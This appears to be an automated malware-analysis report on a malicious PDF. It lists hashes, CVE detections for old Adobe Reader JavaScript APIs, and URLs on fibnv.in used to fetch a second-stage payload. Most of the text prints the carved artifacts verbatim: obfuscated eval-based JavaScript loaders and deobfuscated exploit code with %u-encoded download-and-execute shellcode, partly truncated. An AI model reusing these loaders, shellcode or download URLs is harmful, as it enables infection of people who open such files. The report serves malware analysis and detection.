Malicious PDF — malware analysis report

Static analysis result for SHA-256 14667885aeff9261…

MALICIOUS

PDF

132.5 KB
MD5: 7a29b9f3b543738c3a99496b2000b838 SHA-1: 2689f99e13bf2aa9b0f24eb77de325754a673dd1 SHA-256: 14667885aeff92613869d1dd14851075b68f48a0bfa4d9841e4b85338f2f6692
330 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that leverages multiple known vulnerabilities (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992) to execute arbitrary code. The JavaScript is designed to download and execute a second-stage payload from the URLs http://fibnv.in/x/l.php?s=printf_iex&, http://fibnv.in/x/l.php?s=email_iex&, and http://fibnv.in/x/l.php?s=gicon_iex&. This behavior is indicative of a downloader or initial access exploit.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF JavaScript shellcode contains a hardcoded http(s) URL stored as little-endian %uXXXX Unicode escapes. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fibnv.in/x/l.php?s=printf_iex& Referenced by PDF JavaScript
    • http://fibnv.in/x/l.php?s=email_iex&Referenced by PDF JavaScript
    • http://fibnv.in/x/l.php?s=gicon_iex&Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0008_000.js
b9b7f83754174ccf39d6390365c8d8a49f9b5be2992e45ccdf966073d0eb6a0f
pdf-javascript-stream PDF /JS object 8 at offset 0x1E7 2095 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var googleyahoosig33435235_s = app.viewerVariation[1];
var googleyahoosig33435235_saaa = app.viewerVariation[2];
var qDQsjpVHVE77 = this;
var xx=["nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn","nn%nnnnnnnnnnnn"];
var zz=xx[1].substr(4-2/*mLJKGHOVdV1*/,2-1);
var googleyahoosig33435235_s2 = ""+"r"+googleyahoosig33435235_s+"p"/*mLJKGHOVdV1*/+"l"/*mLJKGHOVdV1*/+googleyahoosig33435235_saaa/*mLJKGHOVdV1*/+"c"/*mLJKGHOVdV1*/+googleyahoosig33435235_s;
var googleyahoosig33435235_sx = "v"/*mLJKGHOVdV1*/+"z"/*mLJKGHOVdV1*/+"l";
var fEKSnKQGjl17 = qDQsjpVHVE77[googleyahoosig33435235_s+googleyahoosig33435235_sx[googleyahoosig33435235_s2]("z","a")];

googleyahoosig33435235_sx = "u"+"njj"/*mLJKGHOVdV1*/+"jjj"/*mLJKGHOVdV1*/+"a"+"p";


var CeLncEIcmv18ro = /*mLJKGHOVdV1*/googleyahoosig33435235_sx[googleyahoosig33435235_s2](/*mLJKGHOVdV1*/"jjjjj",""+/*mLJKGHOVdV1*/googleyahoosig33435235_s+"s"/*mLJKGHOVdV1*/+"c")/*mLJKGHOVdV1*/+/*mLJKGHOVdV1*/googleyahoosig33435235_s;

var CeLncEIcmv18 = qDQsjpVHVE77[CeLncEIcmv18ro];

var valxsVAhml15 = /q/gi;
var googleyahoosig33435235_s4 = "q76q61q72q20q71q44q51q73q6Aq70q56q48q56q45q37q37q7Aq20q3Dq20q61q70q70q3Bq76q61q72q20q72q6Cq75q4Fq77q49q4Bq6Dq44q75q31q30q20q3Dq20q71q44q51q73q6Aq70q56q48q56q45q37q37q7Aq2Eq64q6Fq63q3Bq72q6Cq75q4Fq77q49q4Bq6Dq44q75q31q30q2Eq73q79q6Eq63q41q6Eq6Eq6Fq74q53q63q61q6Eq28q29q3Bq76q61q72q20q51q4Fq58q61q59q65q68q6Eq7Aq4Bq34q20q3Dq20q72q6Cq75q4Fq77q49q4Bq6Dq44q75q31q30q2Eq67q65q74q41q6Eq6Eq6Fq74q73q28q30q29q3Bq76q61q72q20q49q79q77q46q56q4Aq76q70q57q55q35q20q3Dq20q51q4Fq58q61q59q65q68q6Eq7Aq4Bq34q5Bq30q5Dq2Eq73q75q62q6Aq65q63q74q3Bq76q61q72q20q67q66q67q57q4Aq6Fq68q61q58q4Aq36q20q3Dq20q49q79q77q46q56q4Aq76q70q57q55q35q2Eq72q65q70q6Cq61q63q65q28q76q61q6Cq78q73q56q41q68q6Dq6Cq31q35q2Cq22q25q22q29q3Bq76q61q72q20q6Eq6Fq58q4Cq4Fq76q70q76q6Aq70q37q3Dq43q65q4Cq6Eq63q45q49q63q6Dq76q31q38q28q43q65q4Cq6Eq63q45q49q63q6Dq76q31q38q28q67q66q67q57q4Aq6Fq68q61q58q4Aq36q29q29q3Bq0Aq65q76q61q6Cq28q6Eq6Fq58q4Cq4Fq76q70q76q6Aq70q37q29q3B";

fEKSnKQGjl17(CeLncEIcmv18(googleyahoosig33435235_s4[googleyahoosig33435235_s2](valxsVAhml15,zz)));
javascript_obj0008_001.js
7248a8b87a989372695b3b8aea1864732be3acad1ba317944175507b67d6d273
pdf-javascript-stream PDF /JS object 8 at offset 0x209 135109 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var googleyahoosig33435235_s = app.viewerVariation[1];
var googleyahoosig33435235_saaa = app.viewerVariation[2];
var qDQsjpVHVE77 = this;
var xx=["nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn","nn%nnnnnnnnnnnn"];
var zz=xx[1].substr(4-2/*mLJKGHOVdV1*/,2-1);
var googleyahoosig33435235_s2 = ""+"r"+googleyahoosig33435235_s+"p"/*mLJKGHOVdV1*/+"l"/*mLJKGHOVdV1*/+googleyahoosig33435235_saaa/*mLJKGHOVdV1*/+"c"/*mLJKGHOVdV1*/+googleyahoosig33435235_s;
var googleyahoosig33435235_sx = "v"/*mLJKGHOVdV1*/+"z"/*mLJKGHOVdV1*/+"l";
var fEKSnKQGjl17 = qDQsjpVHVE77[googleyahoosig33435235_s+googleyahoosig33435235_sx[googleyahoosig33435235_s2]("z","a")];

googleyahoosig33435235_sx = "u"+"njj"/*mLJKGHOVdV1*/+"jjj"/*mLJKGHOVdV1*/+"a"+"p";


var CeLncEIcmv18ro = /*mLJKGHOVdV1*/googleyahoosig33435235_sx[googleyahoosig33435235_s2](/*mLJKGHOVdV1*/"jjjjj",""+/*mLJKGHOVdV1*/googleyahoosig33435235_s+"s"/*mLJKGHOVdV1*/+"c")/*mLJKGHOVdV1*/+/*mLJKGHOVdV1*/googleyahoosig33435235_s;

var CeLncEIcmv18 = qDQsjpVHVE77[CeLncEIcmv18ro];

var valxsVAhml15 = /q/gi;
var googleyahoosig33435235_s4 = "q76q61q72q20q71q44q51q73q6Aq70q56q48q56q45q37q37q7Aq20q3Dq20q61q70q70q3Bq76q61q72q20q72q6Cq75q4Fq77q49q4Bq6Dq44q75q31q30q20q3Dq20q71q44q51q73q6Aq70q56q48q56q45q37q37q7Aq2Eq64q6Fq63q3Bq72q6Cq75q4Fq77q49q4Bq6Dq44q75q31q30q2Eq73q79q6Eq63q41q6Eq6Eq6Fq74q53q63q61q6Eq28q29q3Bq76q61q72q20q51q4Fq58q61q59q65q68q6Eq7Aq4Bq34q20q3Dq20q72q6Cq75q4Fq77q49q4Bq6Dq44q75q31q30q2Eq67q65q74q41q6Eq6Eq6Fq74q73q28q30q29q3Bq76q61q72q20q49q79q77q46q56q4Aq76q70q57q55q35q20q3Dq20q51q4Fq58q61q59q65q68q6Eq7Aq4Bq34q5Bq30q5Dq2Eq73q75q62q6Aq65q63q74q3Bq76q61q72q20q67q66q67q57q4Aq6Fq68q61q58q4Aq36q20q3Dq20q49q79q77q46q56q4Aq76q70q57q55q35q2Eq72q65q70q6Cq61q63q65q28q76q61q6Cq78q73q56q41q68q6Dq6Cq31q35q2Cq22q25q22q29q3Bq76q61q72q20q6Eq6Fq58q4Cq4Fq76q70q76q6Aq70q37q3Dq43q65q4Cq6Eq63q45q49q63q6Dq76q31q38q28q43q65q4Cq6Eq63q45q49q63q6Dq76q31q38q28q67q66q67q57q4Aq6Fq68q61q58q4Aq36q29q29q3Bq0Aq65q76q61q6Cq28q6Eq6Fq58q4Cq4Fq76q70q76q6Aq70q37q29q3B";

fEKSnKQGjl17(CeLncEIcmv18(googleyahoosig33435235_s4[googleyahoosig33435235_s2](valxsVAhml15,zz)));



endstream
endobj
7 0 obj
<<
/Length 132705
>>
stream
q25q30q41q25q36q36q25q37q35q25q36q45q25q36q33q25q37q34q25q36q39q25q36q46q25q36q45q25q32q30q25q36q36q25q36q39q25q37q38q25q35q46q25q36q39q25q37q34q25q32q38q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q39q25q32q30q25q37q42q25q30q41q25q37q37q25q36q38q25q36q39q25q36q43q25q36q35q25q32q30q25q32q38q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q45q25q36q43q25q36q35q25q36q45q25q36q37q25q37q34q25q36q38q25q32q30q25q32q41q25q32q30q25q33q32q25q32q30q25q33q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q39q25q32q30q25q37q42q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q30q25q32q42q25q33q44q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q33q42q25q37q44q25q30q41q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q30q25q33q44q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q32q45q25q37q33q25q37q35q25q36q32q25q37q33q25q37q34q25q37q32q25q36q39q25q36q45q25q36q37q25q32q38q25q33q30q25q32q43q25q32q30q25q36q43q25q36q35q25q36q45q25q32q30q25q32q46q25q32q30q25q33q32q25q32q39q25q33q42q25q37q32q25q36q35q25q37q34q25q37q35q25q37q32q25q36q45q25q32q30q25q37q39q25q36q31q25q37q32q25q37q33q25q37q30q25q33q42q25q37q44q25q30q41q25q36q36q25q37q35q25q36q45q25q36q33q25q37q34q25q36q39q25q36q46q25q36q45q25q32q30q25q37q35q25q37q34q25q36q39q25q36q43q25q35q46q25q37q30q25q37q32q25q36q39q25q36q45q25q37q34q25q36q36q25q32q38q25q32q39q25q32q30q25q37q42q25q30q41q25q37q36q25q36q31q25q37q32q25q32q30q25q37q30q25q36q31q25q37q39q25q36q43q25q36q46q25q36q31q25q36q34q25q32q30q25q33q44q25q32q30q25q37q35q25q36q45q25q36q35q25q37q33q25q36q33q25q36q31q25q37q30q25q36q35q25q32q38q25q32q32q25q32q35q25q37q35q25q34q35q25q33q38q25q33q39q25q33q30q25q32q35q25q37q35q25q33q30q25q33q33q25q33q34q25q34q34q25q32q35q25q37q35q25q33q30q25q33q30q25q33q30q25q33q30q25q32q35q25q37q35q25q33q30q25q33q30q25q33q36q25q33q38q25q32q35q25q37q35q25q33q30q25q33q30q25q33q32q25q33q30q25q32q35q25q37q35q25q33q36q25q34q31q25q33q30q25q33q30q25q
... (truncated)
legacy_pdfkit_stage_000.js
fc8722afc600e2c342e347c61dfc1a2b4b93fc3ea57692ada18fdfc6462471a6
deobfuscated-js repeated-marker hex decoded JavaScript at offset 0xA4A 14745 bytes
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp, len) {
while (yarsp.length * 2 < len) {yarsp += yarsp;}
yarsp = yarsp.substring(0, len / 2);return yarsp;}
function util_printf() {
var payload = unescape("%uE890%u034D%u0000%u0068%u0020%u6A00%uFF00%uB9D0%u0800%u0000%uF88B%u05EB%uF35E%uFFA4%uE8D0%uFFF6%uFFFF%u54E8%u0003%u8B00%uE8F8%u0038%u0000%u64E8%u0001%uE800%u0046%u0000%uF2E8%u0003%u8B00%uE8F8%u0022%u0000%u5BE8%u0001%uE800%u0030%u0000%uA0E8%u0003%u8B00%uE8F8%u000C%u0000%u78E8%u0001%uE800%u001A%u0000%u58EB%u8B53%u53DC%u406A%u0068%u0010%u5700%uC8E8%u0002%uE800%u00FA%u0000%uC358%u8B53%u53DC%u206A%u0068%u0010%u5700%uB0E8%u0002%uE800%u00E2%u0000%uC358%uE857%u0453%u0000%uF88B%uC933%u3349%uB0C0%uFCC3%uAEF2%u478D%u5FFF%u5BC3%uC63E%uB807%u893E%u015F%u3E66%u47C7%uFF05%uC3E0%uACE9%u0004%u5B00%uEC81%u0114%u0000%uD48B%uC73E%u6302%u646D%u3E20%u42C7%u2F04%u2063%u3E22%u42C7%u6308%u646D%u3E20%u42C7%u2F0C%u2063%u8322%u10C2%uC033%u5050%u0468%u0001%u5200%u5053%uC8E8%u0003%uE800%u0072%u0000%uFC8B%uC78B%uC083%u3E08%u188A%uDB84%u0374%uEB40%u66F6%uC73E%u2200%u3322%u3ED2%u5088%u8302%u54EC%uC033%uDB33%uCC8B%uF883%u7D54%u3E09%u1C89%u8308%u04C0%uF2EB%uCC8B%uD98B%uC383%u3310%u3EC0%u43C7%u012C%u0000%u5100%u5053%u5050%u5050%u5750%uE850%u033B%u0000%u19E8%u0000%u6400%u04A1%u0000%u8D00%u60A0%uFFFF%uE8FF%u0339%u0000%uDB33%u5353%u5353%uD0FF%u3880%u74E9%u8005%uE838%u0F75%u7881%u9005%u4190%u7490%u5506%uEC8B%u408D%uFF05%uE8E0%uFF17%uFFFF%uE8C3%uFF11%uFFFF%u11B8%u0401%uC280%u000C%u04E8%uFFFF%u33FF%u50C0%uE854%u0054%u0000%uE850%u028B%u0000%uD0FF%u8036%u243C%u7700%uE80A%u0241%u0000%uFF33%uFF57%uE8D0%u01FB%u0000%uFF68%u0000%uFF00%uE8D0%uFED1%uFFFF%u5753%u3356%u50C0%uE854%u001E%u0000%uE850%u0255%u0000%uD0FF%u8036%u243C%u7700%uE80A%u020B%u0000%uFF33%uFF57%u58D0%u5F5E%uC35B%u02EB%uC358%uF9E8%uFFFF%u56FF%u8357%u08EC%uFC8B%u086A%u3E57%u77FF%uE814%u025D%u0000%uD0FF%uFC8B%u6168%u656D%u6800%u4549%u7246%uF48B%u08B9%u0000%uF300%u75A6%u6A2F%u3E00%u74FF%u2024%u24E8%u0002%uFF00%u8BD0%uE8F8%u01CB%u0000%uD0FF%uF83B%u0874%u8B36%u2444%u3E20%u00FF%uFF3E%u2474%uE81C%u01EF%u0000%uD0FF%uC483%u5F10%uB85E%u0001%u0000%u68C3%u6E6F%u0000%u7568%u6C72%uEB6D%u8D15%u2444%u5004%u0BE8%uFFFE%u50FF%u4AE8%u0002%uE900%uFEE0%uFFFF%uE6E8%uFFFF%u83FF%u08C4%u6AC3%u686C%u746E%u6C64%u15EB%u448D%u0424%uE850%uFDE4%uFFFF%uE850%u0223%u0000%uB9E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u3368%u0032%u6800%u7375%u7265%u15EB%u448D%u0424%uE850%uFDBA%uFFFF%uE850%u01F9%u0000%u8FE9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u6368%u7776%u6800%u6873%u6F64%u15EB%u448D%u0424%uE850%uFD90%uFFFF%uE850%u01CF%u0000%u65E9%uFFFE%uE8FF%uFFE6%uFFFF%uC483%uC308%u7668%u7867%uEB00%u8D15%u2444%u5004%u6BE8%uFFFD%u50FF%uAAE8%u0001%uE900%uFE40%uFFFF%uE6E8%uFFFF%u83FF%u04C4%uE8C3%u01AB%u0000%u1B68%u46C6%u5079%uC6E8%u0001%u8300%u08C4%uE8C3%u0197%u0000%uEC68%u0397%u500C%uB2E8%u0001%u8300%u08C4%uE8C3%u0183%u0000%uAA68%u0DFC%u507C%u9EE8%u0001%u8300%u08C4%uE8C3%u016F%u0000%uED68%uEF56%u5036%u8AE8%u0001%u8300%u08C4%uE8C3%u015B%u0000%uF068%u048A%u505F%u76E8%u0001%u8300%u08C4%uE8C3%uFEF7%uFFFF%u7868%uDB68%u501C%u62E8%u0001%u8300%u08C4%uE8C3%u0133%u0000%uEF68%uE0CE%u5060%u4EE8%u0001%u8300%u08C4%uE8C3%u011F%u0000%uB068%u2D49%u50DB%u3AE8%u0001%u8300%u08C4%uE8C3%uFF36%uFFFF%uAB68%u9B5E%u501E%u26E8%u0001%u8300%u08C4%uE8C3%uFEA7%uFFFF%u5968%u8197%u5002%u12E8%u0001%u8300%u08C4%uE8C3%u00E3%u0000%u7E68%uE2D8%u5073%uFEE8%u0000%u8300%u08C4%uE8C3%u00CF%u0000%u9E68%uBBF9%u5035%uEAE8%u0000%u8300%u08C4%uE8C3%uFE92%uFFFF%u5768%uB5A0%u50BB%uD6E8%u0000%u8300%u08C4%uE8C3%uFE7E%uFFFF%u1A68%u1E7A%u5002%uC2E8%u0000%u8300%u08C4%uE8C3%uFE6A%uFFFF%uE068%u305B%u5094%uAEE8%u0000%u8300%u08C4%uE8C3%uFE56%uFFFF%u9768%uE2C9%u50A3%u9AE8%u0000%u8300%u08C4%uE8C3%uFE42%uFFFF%u6868%uC524%u50B3%u86E8%u0000%u8300%u08C4%uE8C3%u0057%u0000%u7268%uB3FE%u5016%u72E8%u0000%u8300%u08C4%uE8C3%uFE44%uFFFF%u13EB%u656A%uE850%uFBE0%uFFFF%uE850%uFEAB%uFFFF%uB5E9%uFFFC%uE8FF%uFFE8%uFFFF%uE8C3%uFDA9%uFFFF%u4F68%u4FEF%u5005%u3EE8%u0000%u8300%u08C4%uE8C3%u000F%u0000%u8E68%u0E4E%u50EC%u2AE8%u0000%u8300%u08C4%u33C3%u64C0%u408B%u8530%u78C0%u3E10%u408B%u3E0C%u708B%uAD1C%u8B3E%u0840%uEBC3%u3E0B%u408B%u8334%u7CC0%u8B3E%u3C40%u60C3%u8B36%u246
... (truncated)